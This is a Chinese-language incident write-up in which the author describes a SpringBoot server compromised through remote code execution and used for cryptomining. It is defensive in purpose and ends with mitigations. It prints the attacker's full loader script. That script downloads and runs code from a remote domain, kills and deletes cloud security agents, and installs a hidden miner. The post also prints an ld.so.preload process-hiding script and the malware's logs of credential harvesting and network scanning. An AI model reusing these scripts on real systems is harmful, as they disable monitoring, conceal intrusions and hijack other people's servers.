服務器被入侵挖礦過程
事情經(jīng)過
昨天是周六,睡得比較晚。玩手機時忽然收到阿里云短信和郵件提醒,服務器有異常行為:一看郵件內(nèi)容就知道不得了,趕緊打開電腦處理。首先用 netstat 命令查看端口,發(fā)現(xiàn)一個異常的端口,但不顯示程序名。這時心里已經(jīng)很清楚,服務器上的Java程序被遠程執(zhí)行代碼(RCE),也許還被植入了 rootkit。
首要問題是保障業(yè)務正??捎茫谑强焖倮鹆硗庖粋€實例,將業(yè)務遷移過去。接下來, 首先將被入侵服務器關機,然后一步步研究入侵過程,以及其在服務器上的行為。
入侵行為分析
根據(jù)郵件內(nèi)容,一個 SpringBoot 應用被 getshell 并被執(zhí)行遠程代碼。被執(zhí)行的代碼語句 base64 解碼后為:
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
將其下載,內(nèi)容如下:import sysimport osfrom os.path import expanduser
ver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:
os.mkdir(homedir+"/.git")except Exception as e:
print(e)if os.path.isdir(homedir+"/.git"):
gitdir=homedir+"/.git"try:
os.mkdir("./.git")except Exception as e:
print(e)if os.path.isdir("./.git"):
gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:
html = f.read()
open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:
f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())
f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):
os.system(gitdir+"/kworkers")else:
os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
遠程代碼主要做了這些事情:
- 卸載服務器上的安全監(jiān)控工具;事后開機,發(fā)現(xiàn)阿里云盾果然被卸載了
- 關掉所有kworkers進程;
-
在當前目錄下創(chuàng)建 .git 目錄,下載并執(zhí)行 kworkers 程序。
服務器殘留痕跡
大概知道了木馬的行為,接著重啟服務器,查看服務器上的痕跡。1、查看有無添加定時任務:木馬添加了定時啟動任務。2、進入木馬主目錄,發(fā)現(xiàn)下載了如下文件:# crontab -l
0 2 * * * /xxx/.git/kworkers
此外,上層目錄和家目錄還多了 cert_key.pem 和 cert.pem 兩個文件,分別存放公鑰和密鑰。3、查看木馬留下的日志,有如下內(nèi)容:
根據(jù)日志,主要是下載程序,檢測用戶名和密碼,探測內(nèi)網(wǎng),然后啟動自動更新、隱藏進程等程序。/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound protected
passfound provided
passfound +client
passfound +client
passfound protected
passfound provided
passfound quality
passfound (plus
passfound (digits,
passfound prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd /xxx/.git/kworkers
/xxx/.git
passfound file,
passfound settings
passfound file.
passfound callbacks
passfound Callback
passfound example
passfound prompt
passfound password
passfound information
passfound token
passfound token
passfound token
passfound Password
passfound password
passfound password
passfound -based
passfound Password
passfound (using
passfound field>
passfound retry
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound password
passfound password
passfound foobar
passfound foobar
passfound secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range xxx.xxx.0.0/16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80 open
xxx.xxx0xxx:443 open
version same download
version same dbus
restart dbus
exec again dbus downrun
kill process pid 23709
process completed
version same hideproc.sh
skip restart hideproc.sh
version same sshkey.sh
skip restart sshkey.sh
version same autoupdate
skip restart autoupdate
version same kworkers
Key path not found
- 對 hideproc.sh 感興趣,其內(nèi)容為:
其首先檢測是否root用戶,然后編譯libc2共享庫,注入隱藏進程的代碼。這應該是用netstat無法查看到進程名的原因。5、查看訪問日志,發(fā)現(xiàn)期間有個IP對服務器進行爆破:if [ "$EUID" -ne 0 ] then echo "Please run as root"else
if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
其他信息
除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;
查詢可疑ip,位于國內(nèi)北京市,應該是肉雞;
查詢木馬下載域名windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;
除了下載木馬文件挖礦,未改變服務器上的其他數(shù)據(jù)。
服務器被入侵挖礦解決辦法
雖然知道是 SpringBoot 應用觸發(fā)了 RCE,但遺憾目前仍未找到是哪個包導致的漏洞。目前采取的緩解措施為:1、被入侵服務器重裝系統(tǒng);
2、使用非 root 用戶啟動 SpringBoot 應用;
3、被入侵的是子系統(tǒng),增加基本授權:
apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user
然后配置 Nginx 使用認證信息:
server {
...
auth_basic "子系統(tǒng)鑒權:";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
..
}
4、防火墻限制對外連接。
上述錯誤能一定程度上避免類似情況再次發(fā)生,但找到應用程序中的漏洞才是接下來的重點。總結
幸運的是這次來的是挖礦木馬,服務器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費的安全提醒,讓我在第一時間處理。
但這次事故也敲醒了警鐘:
- 不要隨意用 root 權限運行程序;
- 防火墻權限要嚴格收緊;
- 做好安全監(jiān)控;
- 時刻做好數(shù)據(jù)備份。
審核編輯:湯梓紅
-
服務器
+關注
關注
12文章
9105瀏覽量
85310 -
木馬
+關注
關注
0文章
47瀏覽量
13325 -
阿里云
+關注
關注
3文章
950瀏覽量
43003 -
挖礦
+關注
關注
6文章
448瀏覽量
16049
原文標題:記一次服務器被入侵,沒想到我輕松搞定了它~
文章出處:【微信號:AndroidPush,微信公眾號:Android編程精選】歡迎添加關注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關推薦
評論